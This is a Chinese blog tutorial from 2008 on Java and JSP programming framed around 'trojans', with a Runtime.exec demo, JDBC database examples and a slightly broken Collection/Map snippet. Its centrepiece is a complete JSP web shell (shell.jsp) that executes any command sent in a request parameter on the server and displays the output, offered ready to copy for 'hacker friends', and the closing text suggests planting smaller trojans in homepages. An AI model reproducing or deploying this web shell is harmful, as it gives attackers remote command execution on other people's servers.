JSP-Java编程与木马技术
日期:2008年5月9日 评论次数:No Comments » 浏览次数:
Java编程在上个世纪的时候在国内基本上不太多,现在再看看,安全系数要求非常高的银行、政府网站,基本上都采用了J2EE+JSP+Oracle/DB2/Informix+Unix来构建。JSP用于产生动态网页内容,具备Java的优点,一次编写,到处执行。Java可以最大限度地释放网络的能量,基本上可以实现软件不经修改即可在多种不同的系统上运行。Java(不仅仅是语言,更是一种平台)不论是在台式机、服务器还是消费电子产品中,只要有浏览器,就可以顺利运行。用Java编写的软件是通过Java虚拟机来运行的,而不是直接运行在某种特定的操作系统之上,任何安装了Java虚拟机的计算设备都可以运行Java语言编写的软件,而与这个计算设备的生产厂商毫无关系。Java平台其实是一个纯软件平台,可以运行在其他硬件平台之上。Java在标准化、兼容性和创新性方面都是非常优秀的。总而言之,Java确实是优秀的,下面我们就来简要的谈谈Java/JSP编程以及木马技术。
首先我要说,Java是相当安全的语言,JVM(Java虚拟机)也是相当安全的,因此要用Java编写病毒或者木马等程序几乎不太现实;而且即便是写出了病毒或者木马,如果没有JVM也是不可以运行的,何况编译出来的程序体积比较大,所以基本上没有人用Java来编写木马。Java没有指针,所以非常适合开发大型的服务器端的程序。网页木马倒是比较好实现,它其实就是JSP木马。OK,我们先来看一个简单Java程序吧,在测试这些程序之前,请到SUN公司网站上下载J2SDK或更高的版本,其次是环境变量的配置(可以到相关的网站上下载教程,这里默认大家已经配置好了环境变量)。如下面的一个小程序ExecuteCmd.java,其功能是实现执行文件,具体代码如下所示。
//import引入我们需要的类或者包名称,这和C++中的include、Delphi中的use是一样的
import java.io.IOException;
/**
* <p>Title: cmd命令测试</p>
* <p>Description: </p>
* <p>Copyright: Copyright (c) 2006</p>
* <p>Company: xgym</p>
* @author 残泪(xgym)
* @version 1.0
*/
public class ExecuteCmd {
//我们的类文件名称是ExecuteCmd
public ExecuteCmd() {
//ExecuteCmd方法,类似C++中的初始化的构造函数
}
public static void main(String[] args) {
//Java的主函数,相当于C++中的main函数或者VC中的Winmain函数
try {
/*构造一个Runtime对象,每个Java应用程序都有一个Runtime类实例,使应用程序能够与其运行的环境相连接。可以通过getRuntime方法获取当前运行时。exec方法:在指定环境和工作目录的独立进程中执行指定的命令和变量。*/
Runtime rt=Runtime.getRuntime();
//构造一个Runtime对象
rt.exec("cmd /c D:\\web\\mfc.exe");
//执行D盘Web目录下的mfc.exe文件
}
catch (IOException ex) {
ex.printStackTrace();
}
}
}
OK,这就是我们的第一个木马程序了,大家完全可以借助JBuilder把它打包成为一个exe文件(不过exe文件比较大)。我们把这个程序保存为ExecuteCmd.java并编译一下,命令为“javac ExecuteCmd.java”, 编译完成以后运行一下,命令为“java ExecuteCmd”。呵呵,mfc.exe的界面出来了吧?
这个程序非常简单,大家还可以写个客户端与服务端交互传输或者实现Telnet功能的Java程序,不过这些程序都已经有了,相信学习Java的人都会去看《Java编程思想》这本书(呵呵,好像成了学习Java的必经之路,毕竟是超级经典呀),其中已经有类似功能的网络编程了,一定要去看看哦。
下面我们再介绍一个小小的JSP木马的实现。时下JSP网站多了起来,毕竟JSP的安全和功能都是非常惊人的强大。如果大家想在毕业后拿到非常高的薪水,JSP、Java、Unix以及DB2、Oracle、infromix数据库可要好好的钻研一下(这也有片面性,无论哪门语言,只要你足够精通都一样啦)。好了,我们看个非常小的shell.jsp吧,其功能仅仅是在网页上执行cmd(对于黑友们足够啦),具体代码如下所示。
<!–实现cmd功能的JSP小木马(作者:荔明奇(xgym))–>
<%@ page contentType="text/html;charset=gb2312"%>
<!–编码方式为gb2312(中文),否则会出现中文显示为乱码的情况–>
<%@page import="java.io.*" %>
<!–引入java.io.*包文件,因为我们需要StringBuffer之类的I/O操作–>
<%
//定义一个字符串变量strCmd_in,且这个变量是从cmd对象中获取到的值;request是JSP中内置的对象,用来获取对象的值。
String strCmd_in = request.getParameter("cmd");
//定义字符串初始值为空的变量myLine,myLine是我们在界面输入框中的命令
String myLine="";
//定义一个Buffer,用来读取我们的输入框中的命令并返回结果
StringBuffer strBufCmd=new StringBuffer("");
//如果strCmd_in不为Null就执行
if(strCmd_in!=null)
{ /* java非常先进的地方之一就是引入了异常处理机制(try/catch),这样调试程序就显得非常轻松了,而且我们编写出来的程序也安全了很多*/
try
{ //新建一个Process对象,利用Runtime执行(exec)获取到的命令,其实最主要的一句就是这个了,唯一最主要的方法了
Process pro=Runtime.getRuntime().exec("cmd /c "+strCmd_in);
//新建一个BufferedReader对象,用来读取我们输入的命令
BufferedReader buf=new BufferedReader(new InputStreamReader(pro.getInputStream()));
while((myLine=buf.readLine())!=null)
{
//获取到的命令追加到变量myLine后面并换行
strBufCmd.append(myLine+"\r\n");
}
}
catch(Exception e)
{
//如果发生异常就打印出来
System.out.println(e.toString());
}
}
else
{ //默认为我们的输入框中的命令
strCmd_in = "net user";
}
%>
<!–定义一个表单名称为cmd,method为post–>
<form name="cmd" action="" method="post">
<!–空格–>
<!–定义一个text类型的对象,用来做我们输入的框–>
<input type="text" name="cmd" value="<%=strCmd_in%>" size=50>
<!–提交我们的命令–>
<input type=submit name=submit value="执行命令">
</form>
<%
if(strBufCmd!=null&&strBufCmd.toString().trim().equals("")==false)
{
%>
<!–空格–>
<!–定义一个TEXTAREA类型的返回界面框,默认是20列–>
<TEXTAREA NAME="MyView" ROWS="20" COLS="100%"><%=strBufCmd.toString()%></TEXTAREA>
<br>
<!–空格–>
<%
}
%>
我们把这些代码复制下载保存为shell.jsp就可以使用了。测试的时候,可以先去下载一个支持JSP的Tomcat的Web服务器。在启动了Tomcat服务之后,我们把shell.jsp复制到C:\Program Files\Apache Software Foundation\Tomcat 5.0\webapps\ROOT里,就是Tomcat所在的目录了;然后再访问http://127.0.0.1:8080/shell.jsp即可。注意一下哦,前提是你的端口是默认的8080,还有就是需要你配置好Java虚拟机,我这里是配置了虚拟路径的。运行后的结果如图1所示,我们点击执行命令之后的结果如图2所示,在命令框中输入“dir c:”命令后,返回结果如图3所示。总之,我们可以在其中运行CMD中可以运行的大部分命令,挺好玩的吧?
下面我们再看一下Java与数据库之间的简单程序。先介绍一个最简单的Java与数据库操作的程序jdbc.java,数据库为informix,表名为crd_zcfzb,表中的字段是pk1、zc和fz。
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.DriverManager;
import java.sql.Statement;
/*任何个人和单位可以任意发布和传播该代码。测试结果集并打印出结果集的某个字段的值,author荔明奇(xgym),version 1.0 */
public class jdbc {
public jdbc() {
}
public static void main(String[] args) {
//初始化连接为Null
Connection conn = null;
String result = null;
try {
//设置驱动,如果你的数据库是infromix,这个是我们默认的
Class.forName("com.informix.jdbc.IfxDriver").newInstance();
/*如果你的数据库是Oracle,则换成Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();,如果你的数据库是SQL Server7.0/2000,则换成Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();,如果你的数据库是DB2,则换成Class.forName("com.ibm.db2.jdbc.app.DB2Driver").newInstance();。定义连接的服务器、数据库名称、数据库服务名、用户名和密码*/
//设置url,如果你的数据库是infromix,这个是我们默认的
String url = "jdbc:informix-sqli://192.168.20.144:9999/easyplats_snx:INFORMIXSERVER=online;user=easymis;password=easymis";
/*如果你的数据库是Oracle,则换成String url = "jdbc:oracle:thin:@192.168.20.144:1521:orcl;user=easymis;password=easymis";,如果数据库是SQL Server7.0/2000,则换成String url = "jdbc:microsoft:sqlserver://192.168.20.144:1433;DatabaseName=pubs;user=easymis;password=easymis";,如果数据库是DB2,则换成String url = "jdbc:db2://localhost:5000/sample;user=easymis;password=easymis"; */
//建立连接
conn = DriverManager.getConnection(url);
//创建Statement并初始化
Statement stmt = conn.createStatement();
//定义要执行的SQL语句
String sql = "select pk1,zc,fz from crd_zcfzb where zc = 2000000";
//定义一个空的结果集
ResultSet rs = null;
//得到结果集
rs = stmt.executeQuery(sql);
//顺序查看结果集的字段的“具体值”
if (rs != null && rs.next()) {
//取结果集合的第二个字段的值
result = rs.getString(3);
}
//打印出结果——字段的具体值
System.out.println("结果集合是" + rs);
System.out.println("执行结果是" + result);
//关闭结果集
rs.close();
//关闭Statement
stmt.close();
//关闭Connection
conn.close();
}
catch (Exception e) {
//如果发生异常就打印出来
System.out.println("出错了");
}
//程序最终都要执行这个Hello World
System.out.println("Hello World!");
}
}
以上的程序仅仅实现了对结果集的操作,测试结果集并打印出结果集的某个字段的值。有点枯燥吧?不过在编程过程中仅仅得到结果集是远远不够的,我们还需要对这些结果集做很多的处理,甚至需要封装这些结果集,并把它们转化为Collection或者Map的形式来处理,这样就方便多了。在数据库编程中,Collection和Map是必须用到的,我们如果是做底层工作的,就必须对这些非常熟悉和精通。Collection和Map类型的存放方式有利于我们进一步去取得或者是循环取得任何我们需要的数据。既然提到了这些,下面我就把上面的程序封装成我们最需要的Collection或者Map存放方式,以后不用每次去写一些基本的东西了。在得到结果集之后,我们可以按照如下方式来处理,具体代码如下所示。
//得到结果集
rs = stmt.executeQuery(sql);
//定义一个Collection
Collection coll = new LinkedList();
//循环从结果集中取数
while (rs.next()) {
//定义map
Map map = new HashMap();
//循环把值存入map中
for (int i = 0; i < cn.length; i++) {
String tmp = rs.getString(cn);
map.put(cn, tmp);
}
//我们把所有的数据都添加到coll里面
coll.add(map);
}
Iterator it = coll.iterator();
while (it.hasNext()) {
Map map_it = (Map) it.next();
//我们再通过map来取出数据
String zc = map_it.get("zc").toString();
String fz = map_it.get("fz").toString();
String pk1 = map_it.get("pk1").toString();
}
通过上面的代码,我们就可以顺利地对一些复杂的数据进行特殊的处理了。其实,Java真的非常强大,不仅是数据库和Web方面的,跨平台的网络程序同样是非常优秀的。目前JSP木马非常多,我们完全可以把它们写成更小的木马插入主页或者是独立的,甚至还可以写成一句话木马。
最后,我预祝大家在Java的道路上越走越宽!最好加上Delphi(数据库编程的帮手),如果大家喜欢系统软件的话,VC也要好好练习啦!
0 Comments.